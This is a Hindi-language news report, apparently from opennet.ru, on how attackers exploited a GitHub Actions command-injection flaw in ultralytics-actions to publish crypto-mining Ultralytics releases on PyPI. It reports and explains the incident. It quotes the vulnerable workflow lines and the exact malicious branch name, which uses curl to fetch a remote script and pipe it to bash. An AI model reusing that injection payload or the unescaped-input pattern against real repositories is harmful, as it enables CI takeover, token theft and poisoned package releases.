GitHub Actions हैंडलर में एक बग के कारण दुर्भावनापूर्ण Ultralytics रिलीज़ का प्रकाशन हुआ

हमलावर अल्ट्रालिटिक्स पायथन लाइब्रेरी के रिपोजिटरी में गिटहब एक्शन हैंडलर विशेषाधिकारों के साथ कोड निष्पादित करने में सक्षम थे, जिसका उपयोग छवियों में ऑब्जेक्ट पहचान और छवि विभाजन जैसी कंप्यूटर विज़न समस्याओं को हल करने के लिए किया जाता है। रिपोजिटरी तक पहुंच प्राप्त करने के बाद, हमलावरों ने PyPI निर्देशिका पर कई नए अल्ट्रालिटिक्स रिलीज़ प्रकाशित किए, जिनमें क्रिप्टोकरेंसी माइनिंग के लिए दुर्भावनापूर्ण परिवर्तन शामिल थे। पिछले महीने में, अल्ट्रालिटिक्स लाइब्रेरी को PyPI से 6.4 मिलियन से अधिक बार डाउनलोड किया गया है।

रिपोजिटरी को अल्ट्रालिटिक्स-एक्शन पैकेज में एक भेद्यता का फायदा उठाकर समझौता किया गया था, जिसका उपयोग GitHub एक्शन तंत्र का उपयोग करके GitHub रिपोजिटरी पर कुछ क्रियाएं निष्पादित किए जाने पर स्वचालित रूप से हैंडलर्स चलाने के लिए किया जाता है। अल्ट्रालिटिक्स परियोजना में, असुरक्षित हैंडलर को pull_request_target इवेंट से जोड़ा गया था और नए पुल अनुरोध प्राप्त होने पर उसे बुलाया जाता था। विशेष रूप से, भेजे गए पुल अनुरोधों में कोड को प्रारूपित करने के लिए, format.yml हैंडलर को कॉल किया गया था और action.yml फ़ाइल के "रन" अनुभाग में निर्दिष्ट कोड निष्पादित किया गया था, जिसमें प्रतिस्थापन पैटर्न के साथ शेल कमांड शामिल थे: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

इस प्रकार, पुल अनुरोध में उल्लिखित Git शाखा का नाम उचित एस्केपिंग के बिना शेल कमांड में प्रतिस्थापित कर दिया गया। यह ध्यान देने योग्य है कि अगस्त में, इको फ़ंक्शन में बाहरी मान के उपयोग से संबंधित एक समान भेद्यता पहले से ही अल्ट्रालिटिक्स-एक्शन पैकेज में ठीक कर दी गई थी: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

GitHub Actions हैंडलर के संदर्भ में अपने कोड के निष्पादन को व्यवस्थित करने के लिए, हमलावरों ने शाखा नाम निर्दिष्ट करते हुए अल्ट्रालिटिक्स रिपोजिटरी को एक पुल अनुरोध भेजा: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

तदनुसार, जब एक पुल अनुरोध प्राप्त हुआ, तो हमलावरों द्वारा निर्दिष्ट स्ट्रिंग “$(…)” को कोड में डाला गया, जिसने हैंडलर के बाद के निष्पादन पर, कोड “curl -sSfL raw.githubusercontent.com/…/file.sh | bash” के निष्पादन की ओर अग्रसर किया।

GitHub Actions के संदर्भ में कोड चलाने का उपयोग रिपॉजिटरी के एक्सेस टोकन और अन्य संवेदनशील डेटा को कैप्चर करने के लिए किया जा सकता है। यह अभी तक स्पष्ट नहीं है कि हमलावरों ने किस प्रकार रिलीज तैयार की, जिससे उन्हें GitHub Actions में अपने कोड को निष्पादित करने की क्षमता प्राप्त हुई, लेकिन यह माना जाता है कि यह publish.yml हैंडलर में परिवर्तन के कारण संभव हुआ (हमलावरों ने PyPI पर रिलीज प्रकाशित करने के लिए अनुमति प्राप्त खाते की जांच हटा दी) और रिलीज में अपने डेटा को प्रतिस्थापित करने के लिए GitHub Actions बिल्ड कैश पॉइज़निंग तकनीक का उपयोग किया।

अल्ट्रालाइटिक्स 8.3.41 का पहला दुर्भावनापूर्ण संस्करण हमलावरों द्वारा 4 दिसंबर को रात 23:51 बजे (एमएसके) PyPI पर प्रकाशित किया गया और अगले दिन दोपहर 12:15 बजे हटा दिया गया। दोपहर 15:47 बजे, एक और संस्करण, 8.3.42, पोस्ट किया गया और शाम 16:47 बजे हटा दिया गया। इस प्रकार, दुर्भावनापूर्ण संस्करण कुल मिलाकर लगभग 13 घंटे तक डाउनलोड के लिए उपलब्ध रहे (PyPI प्रतिदिन अल्ट्रालाइटिक्स लाइब्रेरी के लगभग 250 डाउनलोड दर्ज करता है)। संस्करण 8.3.41 और 8.3.42 में ऐसा कोड था जो बाहरी स्रोत से डाउनलोड किया गया था। सर्वर क्रिप्टोकरेंसी माइनिंग के लिए XMRig कंपोनेंट।

परियोजना डेवलपर्स ने समस्या को ठीक कर दिया और सुधारात्मक रिलीज़ 8.3.43 और 8.3.44 बनाए, लेकिन दो दिन बाद एक और हमला किया गया, जिसके दौरान हमलावरों ने आज 04:41 और 05:27 (MSK) पर दो अतिरिक्त दुर्भावनापूर्ण रिलीज़ प्रकाशित किए - 8.3.45 और 8.3.46, जिनमें अलग-अलग खनन कोड शामिल हैं। जांच पूरी होने तक, उपयोगकर्ताओं को सलाह दी जाती है कि वे नए संस्करण स्थापित करने से बचें तथा रिलीज 8.3.44 को निर्भरता के रूप में सेट करें।

स्रोत: opennet.ru